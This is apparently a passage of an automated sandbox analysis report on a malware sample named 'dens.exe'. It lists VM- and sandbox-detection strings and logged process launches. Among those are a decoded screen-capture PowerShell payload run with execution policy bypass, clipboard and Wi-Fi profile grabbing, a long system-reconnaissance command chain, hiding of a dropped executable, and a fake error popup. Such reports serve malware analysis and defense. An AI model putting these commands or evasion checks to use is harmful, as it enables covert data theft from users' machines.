Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 7Ovmware
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V PowerShell Direct Service
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: return any(x.lower() in decoded_output[2].strip().lower() for x in ("virtualbox", "vmware"))
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vboxtray.exe", # VirtualBox
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Data Exchange Service
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe" e
Source: dens.exe, 00000001.00000003.2029829320.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052097478.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060887548.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047760361.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NAME: Hyper-V PowerShelJ
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \sdvmsrvc.exep
Source: dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmwaretray.e
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, sc.exe, 0000004A.00000002.1851582241.000001DE20E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Shutdown Service
Source: dens.exe, 00000001.00000003.2029767074.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066795317.000002D9ACB50000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2066553783.000002D9ACA40000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Guest Service Interface
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: b'VMware'
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxservice.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: mKVMware
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"`
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vboxtray.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"
Source: dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NAME: vmicshutdown
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmwaretray.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvmusrvc.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwaretray.exe"p
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: vmtoolsd.exe
Source: sc.exe, 0000004A.00000002.1851582241.000001DE20E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service InterfacevmicguestinterfaceVirtual DiskvdsCredential ManagerVaultSvcVolumetric Audio Compositor ServiceVacSvcUpdate Orchestrator ServiceUA
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmware"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 3Udvmtoolsd.exeses0
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 'qemu'
Source: dens.exe, 00000001.00000003.2036402580.000002D9ACC47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: vmsrvc.exe",Y
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vboxservice.exe"p
Source: dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: DISPLAY_NAME: Hyper-V Remote Desktop Virtualization Service
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dqemu-ga.exep
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxservice.exe
Source: sc.exe, 0000004A.00000002.1851582241.000001DE20E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicheartbeat
Source: dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicvss
Source: dens.exe, 00000001.00000003.2034812709.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040344730.000002D9AC52F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V Requirements: VM Monitor Mode Extensions: No
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: \sdvmsrvc.exe
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: 7Ofvmware
Source: HOSTNAME.EXE, 00000035.00000002.1805171561.00000166DF5B9000.00000004.00000020.00020000.00000000.sdmp, NETSTAT.EXE, 00000049.00000002.1850291858.000001E18BE47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ARP.EXE, 00000048.00000002.1849729767.0000021548F87000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllGG
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmtoolsd.exe"@
Source: sc.exe, 0000004A.00000002.1851582241.000001DE20E9A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SERVICE_NAME: vmicshutdown
Source: dens.exe, 00000001.00000003.1775700959.000002D9ABFF2000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781000596.000002D9AC026000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2029099108.000002D9AC036000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776457067.000002D9AC037000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036571955.000002D9AC081000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1781669123.000002D9AC027000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2036994849.000002D9AC03B000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: hostNames = ['sandbox','cuckoo', 'vm', 'virtual', 'qemu', 'vbox', 'xen']
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmsrvc.exe"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: dvboxtray.exe0
Source: dens.exe, 00000001.00000003.2029829320.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2052097478.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000002.2060887548.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2047760361.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp, dens.exe, 00000001.00000003.2040630139.000002D9AB28F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _NAME: Hyper-V Remote De
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmwareuser.exe"0
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: fqemu
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "vmusrvc.exe"
Source: dens.exe, 00000001.00000002.2067199500.000002D9ADB10000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: "qemu-ga.exe"
Source: dens.exe, 00000001.00000003.1776089089.000002D9AC017000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: "vmacthlp.exe", # VMware
Source: dens.exe, 00000001.00000003.1954169257.000002D9AC3C0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: if b'VMware' in stdout:

Source: C:\Windows\System32\wbem\WMIC.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C10A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF62C10A614

Source: C:\Users\user\Desktop\dens.exe

Code function: 0_2_00007FF62C113480 GetProcessHeap,

0_2_00007FF62C113480

Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\tasklist.exe	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\NETSTAT.EXE	Process token adjusted: Debug
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C10A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF62C10A614
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FC8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF62C0FC8A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF62C0FD12C
Source: C:\Users\user\Desktop\dens.exe	Code function: 0_2_00007FF62C0FD30C SetUnhandledExceptionFilter,	0_2_00007FF62C0FD30C
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C10A614 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF62C10A614
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FC8A0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FF62C0FC8A0
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FD12C IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FF62C0FD12C
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FF62C0FD30C SetUnhandledExceptionFilter,	1_2_00007FF62C0FD30C
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAA53028 IsProcessorFeaturePresent,memset,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_00007FFDFAA53028
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFAA52A70 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFDFAA52A70
Source: C:\Users\user\Desktop\dens.exe	Code function: 1_2_00007FFDFACA2BE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_00007FFDFACA2BE0

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIAB

Encrypted powershell cmdline option found

Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}
Source: C:\Windows\System32\cmd.exe	Process created: Base64 decoded $source = @"using System;using System.Collections.Generic;using System.Drawing;using System.Windows.Forms;public class Screenshot{ public static List<Bitmap> CaptureScreens() { var results = new List<Bitmap>(); var allScreens = Screen.AllScreens; foreach (Screen screen in allScreens) { try { Rectangle bounds = screen.Bounds; using (Bitmap bitmap = new Bitmap(bounds.Width, bounds.Height)) { using (Graphics graphics = Graphics.FromImage(bitmap)) { graphics.CopyFromScreen(new Point(bounds.Left, bounds.Top), Point.Empty, bounds.Size); } results.Add((Bitmap)bitmap.Clone()); } } catch (Exception) { // Handle any exceptions here } } return results; }}"@Add-Type -TypeDefinition $source -ReferencedAssemblies System.Drawing, System.Windows.Forms$screenshots = [Screenshot]::CaptureScreens()for ($i = 0; $i -lt $screenshots.Count; $i++){ $screenshot = $screenshots[$i] $screenshot.Save("./Display ($($i+1)).png") $screenshot.Dispose()}

Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Users\user\Desktop\dens.exe "C:\Users\user\Desktop\dens.exe"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "gdb --version"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe""	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "cmd.exe /c chcp"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "powershell.exe Get-Clipboard"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "echo ####System Info#### & systeminfo & echo ####System Version#### & ver & echo ####Host Name#### & hostname & echo ####Environment Variable#### & set & echo ####Logical Disk#### & wmic logicaldisk get caption,description,providername & echo ####User Info#### & net user & echo ####Online User#### & query user & echo ####Local Group#### & net localgroup & echo ####Administrators Info#### & net localgroup administrators & echo ####Guest User Info#### & net user guest & echo ####Administrator User Info#### & net user administrator & echo ####Startup Info#### & wmic startup get caption,command & echo ####Tasklist#### & tasklist /svc & echo ####Ipconfig#### & ipconfig/all & echo ####Hosts#### & type C:\WINDOWS\System32\drivers\etc\hosts & echo ####Route Table#### & route print & echo ####Arp Info#### & arp -a & echo ####Netstat#### & netstat -ano & echo ####Service Info#### & sc query type= service state= all & echo ####Firewallinfo#### & netsh firewall show state & netsh firewall show config"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"	Jump to behavior
Source: C:\Users\user\Desktop\dens.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_VideoController get name	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic computersystem get Manufacturer	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic path Win32_ComputerSystem get Manufacturer
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic csproduct get uuid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\WaltuhiumUpdateService\Waltuhium.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\mshta.exe mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('The Program can\x22t start because api-ms-win-crt-runtime-\|l1-1-.dll is missing from your computer. Try reinstalling the program to fix this problem', 0, 'System Error', 0+16);close()"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe /c chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist /FO LIST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe Get-Clipboard
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\systeminfo.exe systeminfo
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\HOSTNAME.EXE hostname
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic logicaldisk get caption,description,providername
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\query.exe query user
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net localgroup administrators
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net user guest
